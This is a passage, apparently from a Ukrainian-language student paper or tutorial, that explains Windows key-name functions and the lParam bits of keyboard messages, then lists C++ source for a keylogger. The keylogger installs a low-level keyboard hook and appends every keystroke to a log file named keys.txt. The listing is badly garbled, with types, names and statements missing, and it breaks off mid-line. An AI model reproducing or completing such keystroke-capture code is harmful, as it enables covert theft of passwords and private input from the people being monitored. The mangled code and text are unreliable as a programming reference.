начає, чи є клавіша натиснута, які не натиснута або перемикань. p align="justify"> Функція GetKeyNameText вітягує рядок, Який представляет Назву клавіші.GetKeyNameText (lParam,// ​​другий параметр ПОВІДОМЛЕННЯ клавіатуріlpString,// ​​адреси буфера з ім'ям клавішіnSize// максимальна довжина рядка з ім'ям клавіші p>
); - візначає другий параметр ПОВІДОМЛЕННЯ клавіатурі (типу WM_KEYDOWN) для ОБРОБКИ. Функція інтерпретує наступні Частини lParam (Біт-Призначення):
- 16-23 - скан-код.
- 24 - Прапорець додаткової клавіші. Дає відмітна ознака для Деяк клавіш розшіреної клавіатурі.
25 - Біт "Байдужим стан". Прикладна програма, яка віклікає Цю функцію встановлює цею біт, щоб вказаті, что функція не винних розрізняті, Наприклад, между лівімі І Правил клавішамі CTRL и SHIFT. p align="justify"> Для Збереження ІНФОРМАЦІЇ вікорістовуємо лог. Лог-файл це такий файл, в Який запісується інформація про Виконання програми. p align="justify"> Лістінг програми:
# include "windows.h"
# include "fstream"
# include "iostream"
# include "algorithm"
# include "string" namespace std; myKey; isCaps (); logName [] = "keys.txt"; message; keyboardHook; keyNameBuff [16]; p; int sc; writeToLog ( string s)
{log (logName, ios :: app); <
} isCaps ()
{((GetKeyState (VK_CAPITAL) & 0x0001)! = 0 | |
((GetKeyState (VK_SHIFT) & 0x8000)! = 0)) {1;
} else {0;
}
} CALLBACK hookProc (int nCode, wParam, LPARAM lParam)
{(wParam == WM_KEYDOWN)
{= (PKBDLLHOOKSTRUCT) (lParam); = MapVirtualKey (p-> vkCode, 0); <<= 16; (! (p-> vkCode <= 32))
{| = 0x1 <<24;} (sc, keyNameBuff, 16); = keyNameBuff; (myKey == "Space") {("");
} if (myKey == "Right Alt") {("[R ALT]");
} if (myKey == "Enter") {("[ENTER]");
} if (myKey == "Left Alt") {("[L ALT]");
} if (myKey == "Tab") {("[TAB]");
} if (myKey == "Backspace") {("[BS]");
} if (myKey == "Caps Lock") {("[CAPS]");
} if (myKey == "Delete") {("[DEL]");
} if (myKey == "Right Shift") {("[R SHIFT]");
} if (myKey == "Shift") {("[L SHIFT]");
} if (myKey == "Ctrl") {("[L CTRL]");
} if (myKey == "Right Ctrl") {("[R CTRL]");
} {(isCaps () == 1) {(myKey);
} else {:: transform (myKey.begin (), myKey.end (),. begi...